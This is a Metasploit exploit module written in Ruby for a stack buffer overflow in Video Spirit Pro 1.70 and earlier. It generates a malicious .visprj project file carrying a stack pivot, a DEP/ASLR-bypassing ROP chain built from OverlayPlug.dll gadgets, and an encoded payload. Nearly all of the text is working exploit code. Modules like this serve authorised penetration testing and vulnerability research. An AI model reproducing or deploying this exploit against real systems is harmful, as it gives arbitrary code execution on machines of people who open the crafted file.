##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VeryTools Video Spirit Pro',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Video Spirit <= 1.70.
        When opening a malicious project file (.visprj), a stack buffer overflow occurs,
        resulting in arbitrary code execution.
        This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Acidgen',      #found the vulnerability
          'corelanc0d3r <peter.ve[at]corelan.be>', #rop exploit + msf module
        ],
      'References'     =>
        [
          [ 'CVE', '2011-0499'],
          [ 'CVE', '2011-0500'],
          [ 'OSVDB', '70619'],
          [ 'URL', 'http://www.corelan.be/advisories.php?id=CORELAN-11-001' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'        => 800,  #0x320 bytes - avoid marking wrong page as RWX
          'BadChars'     => "\x00\x0a\x0b\x0c\x0d\x0e\x0f\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x26\x27\x2f\x3c\x3e",
          'DisableNops'  => 'True',
        },
      'Platform' => 'win',
      'Targets'  =>
        [
          [ 'Windows XP/Vista/Win7/... Generic DEP & ASLR Bypass',
            {
              'OffSet'      => 168,
              'OffSetToRop' => 952,
              'Ret'         => 0x1006CC10, #overlayplug.dll stackpivot bad char friendly
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Apr 11 2011',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'VideoSpirit project name.',  'msf.visprj']),
      ])
  end

  def junk
    return rand_text_alphanumeric(4).unpack("L")[0].to_i
  end

  def exploit

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    header = %Q|
<version value="1" />
<track>
<type value="0" />
<type value="4" />
<type value="2" />
<type value="1" />
<type value="7" />
</track>
<track0 />
<track1 />
<track2 />
<track3 />
<track4 />
<clip />
<output typename="AVI" keepaspect="0" presetquality="0">
<type0 enable="1">
|

    footer = %Q|
<valitem name="320*240(4:3)" value="320*240" />
<valitem name="30" value="30" />
<valitem name="16000k" value="16000k" />
</type0>
<type1 enable="1">
<valitem name="mp3" value="libmp3lame" />
<valitem name="128k" value="128k" />
<valitem name="44100" value="44100" />
<valitem name="2 (Stereo)" value="2" />
</type1>
<type2 enable="0" />
</output>
|
    print_status("Preparing payload")

    pivot = [target.ret].pack('V')

    rop_gadgets =
    [
      # one non-ASLR module is enough for generic ASLR & DEP bypass !
      # pvefindaddr rop 'n roll
      # First, grab VirtualProtect ptr
      0x10065292,  # POP EAX # RETN      [OverlayPlug.dll]
      0x106F4244,  # IAT entry + offsqet (bad char friendly)
      0x10019762,  # POP EBP # RETN      [OverlayPlug.dll]
      0xEFEFEFF0,  # bye bye offset
      0x10084977,  # ADD EBP,EAX # RETN  [OverlayPlug.dll]
      0x100684B8,  # MOV EAX,EBP # POP ESI # POP EBP # POP EBX # RETN  [OverlayPlug.dll]
      junk,
      junk,
      junk,
      0x1005E114,  # MOV EAX,DWORD PTR DS:[EAX] # RETN  [OverlayPlug.dll]
      0x10016A56,  # XCHG EAX,ESI         [OverlayPlug.dll]

      # set size
      0x100A9274,  # POP EAX # RETN       [OverlayPlug.dll]
      0x10101330,  # 0x320 bytes - change this if needed, but don't make it too big :)
      0x10019762,  # POP EBP # RETN       [OverlayPlug.dll]
      0xEFEFEFF0,  # boo
      0x10084977,  # ADD EBP,EAX # RETN   [OverlayPlug.dll]
      0x10053E4C,  # XCHG EAX,EBP # RETN  [OverlayPlug.dll]
      0x10066D8C,  # PUSH EAX # ADD AL,5D # POP EBX # MOV DWORD PTR FS:[0],ECX # ADD ESP,50 # RETN 10  [OverlayPlug.dll]
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,

      # set NewProtect to 0x40
      0x100E3D4A,  # XOR EAX,EAX # XOR EDX,EDX # RETN  [OverlayPlug.dll]
      junk,
      junk,
      junk,
      junk,
      0x10010C36,  # ADD EAX,10 # POP EBP # RETN 4  [OverlayPlug.dll]
      junk,
      0x10010C36,  # ADD EAX,10 # POP EBP # RETN 4  [OverlayPlug.dll]
      junk,
      junk,
      0x10010C36,  # ADD EAX,10 # POP EBP # RETN 4  [OverlayPlug.dll]
      junk,
      junk,
      0x10010C36,  # ADD EAX,10 # POP EBP # RETN 4  [OverlayPlug.dll]
      junk,
      junk,
      0x10030C8B,  # ADD DL,AL # ADD AL,0 # MOV EAX,EDX # RETN 4  [OverlayPlug.dll]
      junk,

      # write pOldProtect to .data section
      0x1001AB51,  # POP ECX # RETN  [OverlayPlug.dll]
      junk,
      0x10117030,  # RW

      # EDI : ROP NOP
      0x10057090,  # POP EDI # RETN  [OverlayPlug.dll]
      0x10057091,  # ROP NOP

      # pReturn2Payload
      0x100BC8E8,  # PUSH ESP # MOV EAX,ESI # POP ESI # RETN  [OverlayPlug.dll]
      0x10016A56,  # XCHG EAX,ESI # RETN  [OverlayPlug.dll]
      0x1003C946,  # ADD EAX,0A # RETN    [OverlayPlug.dll]
      0x1003C946,
      0x1003C946,
      0x1003C946,
      0x1003C946,
      0x1003C946,
      0x1003C946,
      0x1003C946,
      0x1003C946,
      0x1003C946,
      0x1003C946,
      0x1003C946,
      0x1003C946,
      0x1003C946,
      0x1003C946,
      0x1003C946,
      0x1003C946,
      0x1003C946,
      0x1003C946,
      0x1003C946,
      0x1001FDBD,  # XCHG EAX,EBP # RETN  [OverlayPlug.dll]

      0x100A9274,  # POP EAX # RETN       [OverlayPlug.dll]
      0x41414141,

      # go
      0x10066F84,  # PUSHAD # RETN        [OverlayPlug.dll]
    ].pack("V*")


    buffer = "<valitem name="
    buffer << '"'
    buffer << rand_text_alphanumeric((target['OffSet']))
    buffer << rand_text_alphanumeric(4) #nseh
    buffer << pivot
    buffer << rand_text_alphanumeric((target['OffSetToRop']))
    buffer << "\x91\x70\x05\x10" * 10   #rop nop, offset Win7
    buffer << rop_gadgets
    buffer << make_nops(150)
    buffer << payload.encoded
    buffer << rand_text_alphanumeric(4000)
    buffer << '"'
    buffer << ' value="msmpeg4v2"'
    buffer << "/>"
    buffer << "\n"

    filecontent = header + buffer + footer

    print_status("Writing payload to file")

    file_create(filecontent)

  end
end
